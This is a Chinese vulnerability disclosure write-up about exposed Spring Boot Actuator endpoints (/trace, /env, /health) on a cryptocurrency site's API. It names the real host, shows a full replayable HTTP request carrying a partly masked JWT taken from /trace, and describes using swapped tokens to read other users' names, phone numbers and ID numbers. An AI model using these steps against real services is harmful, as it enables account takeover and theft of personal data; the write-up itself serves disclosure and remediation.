【漏洞学习】DVP-2018-01321（严重信息泄露）

漏洞描述 :

漏洞URL：

 http://openapi.yobtc.cn/trace/、http://openapi.yobtc.cn/env、http://openapi.yobtc.cn/health等

简要描述：

Spring Boot Actuator监控端点配置不当导致系统应用配置信息、度量指标信息泄露，其中trace路径下记录了最近的100条请求记录信息，请求信息中包含了用户认证字段数据，可导致可以通过更替认证字段任意操作用户数据。另外由于该路径下内容是动态更新的，由此几乎可威胁站点所有用户数据安全。

漏洞证明：

漏洞比较敏感，麻烦表哥帮忙把厂商信息打个码

1、登入币君，打开个人中心，url：https://www.60.com/#/personalcenter/mySafeBind，在请求包中看到所有的数据实际上是来源于openapi.yobtc.cn的：

2、打开openapi.yobtc.cn，发现该站点是springboot框架的，于是构造trace路径，url：http://openapi.yobtc.cn/trace/，发现可以未授权访问：

配置信息泄露：

url：http://openapi.yobtc.cn/env

url：http://openapi.yobtc.cn/health

其他的路径就不一一列出了

3、然后重头戏在于trace路径下的请求信息，能够看到请求信息中包含了Authorization字段，这是币君这个站点唯一的一个认证字段，我找了一个查看个人认证信息的数据包，通过更改Authorization字段来查看其他用户的认证数据来证明危害，实质上有了该Authorization字段，是可以任意操作其他用户数据的，改个密码转个账分分钟的事..：

在trace路径第一个请求包里找到的Authorization字段：

请求包：

GET /pc/userCenter/v1/getCustomerVerifyById HTTP/1.1
Host: openapi.yobtc.cn
User-Agent: Mozilla/
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: https://www.60.com/
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1bmlxdWVfbmFtZSI6InVzZXIiLCJ1c2VyaWQiOiIxMjk4OTQ5IiwiaXNzIjoicGMuYXBpLnlvYnRjLmNvbSIsImF1ZCI6IjA5OGY2YmNkNDYyMWQzNzNjYWRlNGU4MzI2MjdiNGY2IiwiaWF0IjoxNTMyOTI3NDMyLCJleHAiOjE1MzI5NzA2MzIsIm5iZiI6MTUzMjkyNzQzMn0.3i05VG1LqeMATvZQJU9KThtKd5gFd2aqDBzc******c
from: PC
lang: zh
Origin: https://www.60.com
Connection: close

更改Authorization字段查询到的信息（姓名、手机号、身份证）：（这里只以三个作为示例）

 

修复方案：

添加权限校验，禁止未授权访问